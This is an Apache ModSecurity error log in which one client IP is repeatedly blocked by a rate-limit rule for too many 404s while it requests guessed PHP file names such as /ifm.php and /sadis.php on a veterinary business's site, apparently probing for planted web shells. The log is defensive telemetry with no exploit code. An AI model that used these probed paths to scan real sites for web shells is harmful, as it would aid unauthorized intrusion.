[Sun Dec 07 22:59:47.518513 2025] [:error] [pid 5223:tid 5274] [client 4.190.185.215:43516] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php.php"] [unique_id "aTWWY_oRJa-T0FB0DNr_mQAAAJQ"]
[Sun Dec 07 22:59:49.658184 2025] [:error] [pid 9610:tid 9621] [client 4.190.185.215:43475] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xz99.php"] [unique_id "aTWWZcZ4Zl9G0UhQ7w1UPwAAAQk"]
[Sun Dec 07 22:59:51.803110 2025] [:error] [pid 9961:tid 9966] [client 4.190.185.215:5765] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xz99.php"] [unique_id "aTWWZ2Qdnfbgcnzr89KCngAAAUM"]
[Sun Dec 07 22:59:52.517442 2025] [:error] [pid 9961:tid 9987] [client 4.190.185.215:32110] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xz99.php"] [unique_id "aTWWaGQdnfbgcnzr89KCoAAAAVg"]
[Sun Dec 07 22:59:53.017719 2025] [:error] [pid 9610:tid 9630] [client 4.190.185.215:43477] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xz99.php"] [unique_id "aTWWacZ4Zl9G0UhQ7w1URAAAARI"]
[Sun Dec 07 22:59:54.229849 2025] [:error] [pid 9610:tid 9625] [client 4.190.185.215:5800] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file13.php"] [unique_id "aTWWasZ4Zl9G0UhQ7w1USQAAAQ0"]
[Sun Dec 07 22:59:55.968779 2025] [:error] [pid 9610:tid 9635] [client 4.190.185.215:43489] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file13.php"] [unique_id "aTWWa8Z4Zl9G0UhQ7w1UTwAAARc"]
[Sun Dec 07 22:59:57.376904 2025] [:error] [pid 9961:tid 9976] [client 4.190.185.215:31432] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file13.php"] [unique_id "aTWWbWQdnfbgcnzr89KCpQAAAU0"]
[Sun Dec 07 22:59:57.807499 2025] [:error] [pid 9610:tid 9634] [client 4.190.185.215:43486] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file13.php"] [unique_id "aTWWbcZ4Zl9G0UhQ7w1UVQAAARY"]
[Sun Dec 07 22:59:58.216546 2025] [:error] [pid 9610:tid 9620] [client 4.190.185.215:31460] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ifm.php"] [unique_id "aTWWbsZ4Zl9G0UhQ7w1UVwAAAQg"]
[Sun Dec 07 22:59:59.285392 2025] [:error] [pid 5222:tid 5243] [client 4.190.185.215:43463] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ifm.php"] [unique_id "aTWWb98FU0HgkYWmt7tUSgAAAFE"]
[Sun Dec 07 23:00:00.357015 2025] [:error] [pid 9961:tid 9968] [client 4.190.185.215:46219] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ifm.php"] [unique_id "aTWWcGQdnfbgcnzr89KCpgAAAUU"]
[Sun Dec 07 23:00:01.395486 2025] [:error] [pid 9610:tid 9627] [client 4.190.185.215:39206] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ifm.php"] [unique_id "aTWWccZ4Zl9G0UhQ7w1UXAAAAQ8"]
[Sun Dec 07 23:00:03.421201 2025] [:error] [pid 5312:tid 5335] [client 4.190.185.215:43225] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lv.php"] [unique_id "aTWWc-aM49rasZGg_o4WfAAAABU"]
[Sun Dec 07 23:01:34.194547 2025] [:error] [pid 9610:tid 9625] [client 4.190.185.215:31483] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hzz.php"] [unique_id "aTWWzsZ4Zl9G0UhQ7w1UygAAAQ0"]
[Sun Dec 07 23:01:35.248188 2025] [:error] [pid 5224:tid 5297] [client 4.190.185.215:43689] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hzz.php"] [unique_id "aTWWz_AAkbWt7RJBoF_-UgAAANA"]
[Sun Dec 07 23:01:35.720330 2025] [:error] [pid 9961:tid 9967] [client 4.190.185.215:41944] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hzz.php"] [unique_id "aTWWz2Qdnfbgcnzr89KDEAAAAUQ"]
[Sun Dec 07 23:01:36.264328 2025] [:error] [pid 5224:tid 5302] [client 4.190.185.215:26154] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hzz.php"] [unique_id "aTWW0PAAkbWt7RJBoF_-UwAAANU"]
[Sun Dec 07 23:01:37.188519 2025] [:error] [pid 5223:tid 5277] [client 4.190.185.215:5837] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mpxct.php"] [unique_id "aTWW0foRJa-T0FB0DNr_9QAAAJc"]
[Sun Dec 07 23:01:38.337524 2025] [:error] [pid 9610:tid 9636] [client 4.190.185.215:41932] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mpxct.php"] [unique_id "aTWW0sZ4Zl9G0UhQ7w1UzAAAARg"]
[Sun Dec 07 23:01:39.688247 2025] [:error] [pid 5312:tid 5331] [client 4.190.185.215:5720] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mpxct.php"] [unique_id "aTWW0-aM49rasZGg_o4WzAAAABE"]
[Sun Dec 07 23:01:40.842007 2025] [:error] [pid 9961:tid 9982] [client 4.190.185.215:33433] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mpxct.php"] [unique_id "aTWW1GQdnfbgcnzr89KDFAAAAVM"]
[Sun Dec 07 23:01:41.808969 2025] [:error] [pid 5312:tid 5328] [client 4.190.185.215:24000] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ex.php"] [unique_id "aTWW1eaM49rasZGg_o4WzwAAAA4"]
[Sun Dec 07 23:01:42.933877 2025] [:error] [pid 9610:tid 9624] [client 4.190.185.215:35310] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ex.php"] [unique_id "aTWW1sZ4Zl9G0UhQ7w1U0gAAAQw"]
[Sun Dec 07 23:01:43.518792 2025] [:error] [pid 9610:tid 9630] [client 4.190.185.215:36181] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ex.php"] [unique_id "aTWW18Z4Zl9G0UhQ7w1U1AAAARI"]
[Sun Dec 07 23:01:44.326617 2025] [:error] [pid 5223:tid 5271] [client 4.190.185.215:42707] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ex.php"] [unique_id "aTWW2PoRJa-T0FB0DNr_-gAAAJE"]
[Sun Dec 07 23:01:45.525503 2025] [:error] [pid 5222:tid 5245] [client 4.190.185.215:42703] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kki.php"] [unique_id "aTWW2d8FU0HgkYWmt7tUnAAAAFM"]
[Sun Dec 07 23:01:46.291592 2025] [:error] [pid 5222:tid 5238] [client 4.190.185.215:32142] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kki.php"] [unique_id "aTWW2t8FU0HgkYWmt7tUnQAAAEw"]
[Sun Dec 07 23:01:47.145267 2025] [:error] [pid 5223:tid 5266] [client 4.190.185.215:44429] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kki.php"] [unique_id "aTWW2_oRJa-T0FB0DNr__gAAAIw"]
[Sun Dec 07 23:01:47.974618 2025] [:error] [pid 9610:tid 9618] [client 4.190.185.215:38755] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kki.php"] [unique_id "aTWW28Z4Zl9G0UhQ7w1U2AAAAQY"]
[Sun Dec 07 23:01:49.302884 2025] [:error] [pid 5224:tid 5300] [client 4.190.185.215:35597] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file88.php"] [unique_id "aTWW3fAAkbWt7RJBoF_-WgAAANM"]
[Sun Dec 07 23:01:50.182502 2025] [:error] [pid 9961:tid 9980] [client 4.190.185.215:53895] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file88.php"] [unique_id "aTWW3mQdnfbgcnzr89KDGQAAAVE"]
[Sun Dec 07 23:01:52.328630 2025] [:error] [pid 5224:tid 5282] [client 4.190.185.215:42283] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file88.php"] [unique_id "aTWW4PAAkbWt7RJBoF_-XAAAAME"]
[Sun Dec 07 23:01:53.850462 2025] [:error] [pid 5312:tid 5327] [client 4.190.185.215:5466] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file88.php"] [unique_id "aTWW4eaM49rasZGg_o4W4AAAAA0"]
[Sun Dec 07 23:01:54.284097 2025] [:error] [pid 9610:tid 9614] [client 4.190.185.215:34638] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "aTWW4sZ4Zl9G0UhQ7w1U2QAAAQI"]
[Sun Dec 07 23:01:55.012078 2025] [:error] [pid 5224:tid 5293] [client 4.190.185.215:28314] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "aTWW4_AAkbWt7RJBoF_-XwAAAMw"]
[Sun Dec 07 23:01:55.421708 2025] [:error] [pid 5224:tid 5290] [client 4.190.185.215:24400] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "aTWW4_AAkbWt7RJBoF_-YQAAAMk"]
[Sun Dec 07 23:01:56.374269 2025] [:error] [pid 5222:tid 5226] [client 4.190.185.215:44098] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "aTWW5N8FU0HgkYWmt7tUoQAAAEA"]
[Sun Dec 07 23:01:57.390377 2025] [:error] [pid 5222:tid 5229] [client 4.190.185.215:22976] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an.php"] [unique_id "aTWW5d8FU0HgkYWmt7tUogAAAEM"]
[Sun Dec 07 23:01:58.741917 2025] [:error] [pid 5312:tid 5328] [client 4.190.185.215:5920] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an.php"] [unique_id "aTWW5uaM49rasZGg_o4W4wAAAA4"]
[Sun Dec 07 23:01:59.306344 2025] [:error] [pid 5224:tid 5291] [client 4.190.185.215:5919] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an.php"] [unique_id "aTWW5_AAkbWt7RJBoF_-ZAAAAMo"]
[Sun Dec 07 23:02:00.176742 2025] [:error] [pid 5224:tid 5305] [client 4.190.185.215:38214] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an.php"] [unique_id "aTWW6PAAkbWt7RJBoF_-ZQAAANg"]
[Sun Dec 07 23:02:01.133339 2025] [:error] [pid 5312:tid 5330] [client 4.190.185.215:43422] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fns.php"] [unique_id "aTWW6eaM49rasZGg_o4W5wAAABA"]
[Sun Dec 07 23:02:02.530113 2025] [:error] [pid 9961:tid 9981] [client 4.190.185.215:43437] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fns.php"] [unique_id "aTWW6mQdnfbgcnzr89KDHgAAAVI"]
[Sun Dec 07 23:02:03.792144 2025] [:error] [pid 9610:tid 9619] [client 4.190.185.215:39098] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fns.php"] [unique_id "aTWW68Z4Zl9G0UhQ7w1U3QAAAQc"]
[Sun Dec 07 23:02:05.950798 2025] [:error] [pid 9610:tid 9635] [client 4.190.185.215:40627] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fns.php"] [unique_id "aTWW7cZ4Zl9G0UhQ7w1U3wAAARc"]
[Sun Dec 07 23:02:06.478280 2025] [:error] [pid 5223:tid 5259] [client 4.190.185.215:32705] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadis.php"] [unique_id "aTWW7voRJa-T0FB0DNoADQAAAIU"]
[Sun Dec 07 23:02:07.084106 2025] [:error] [pid 5223:tid 5258] [client 4.190.185.215:44520] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadis.php"] [unique_id "aTWW7_oRJa-T0FB0DNoADgAAAIQ"]
[Sun Dec 07 23:02:07.863997 2025] [:error] [pid 5223:tid 5263] [client 4.190.185.215:45632] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadis.php"] [unique_id "aTWW7_oRJa-T0FB0DNoAEQAAAIk"]
[Sun Dec 07 23:02:09.078460 2025] [:error] [pid 5223:tid 5273] [client 4.190.185.215:32757] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadis.php"] [unique_id "aTWW8foRJa-T0FB0DNoAEwAAAJM"]
[Sun Dec 07 23:02:11.016951 2025] [:error] [pid 9961:tid 9987] [client 4.190.185.215:5560] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/c451f.php"] [unique_id "aTWW82Qdnfbgcnzr89KDIQAAAVg"]
[Sun Dec 07 23:02:13.522293 2025] [:error] [pid 5223:tid 5272] [client 4.190.185.215:43396] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/c451f.php"] [unique_id "aTWW9foRJa-T0FB0DNoAGwAAAJI"]
[Sun Dec 07 23:02:16.156377 2025] [:error] [pid 5312:tid 5338] [client 4.190.185.215:5589] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/c451f.php"] [unique_id "aTWW-OaM49rasZGg_o4W_AAAABg"]
[Sun Dec 07 23:02:17.398860 2025] [:error] [pid 5224:tid 5297] [client 4.190.185.215:36451] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/c451f.php"] [unique_id "aTWW-fAAkbWt7RJBoF_-bAAAANA"]
[Sun Dec 07 23:02:18.518179 2025] [:error] [pid 5224:tid 5292] [client 4.190.185.215:5629] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aTWW-vAAkbWt7RJBoF_-cAAAAMs"]
[Sun Dec 07 23:02:20.958924 2025] [:error] [pid 9961:tid 9969] [client 4.190.185.215:37784] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aTWW_GQdnfbgcnzr89KDMAAAAUY"]
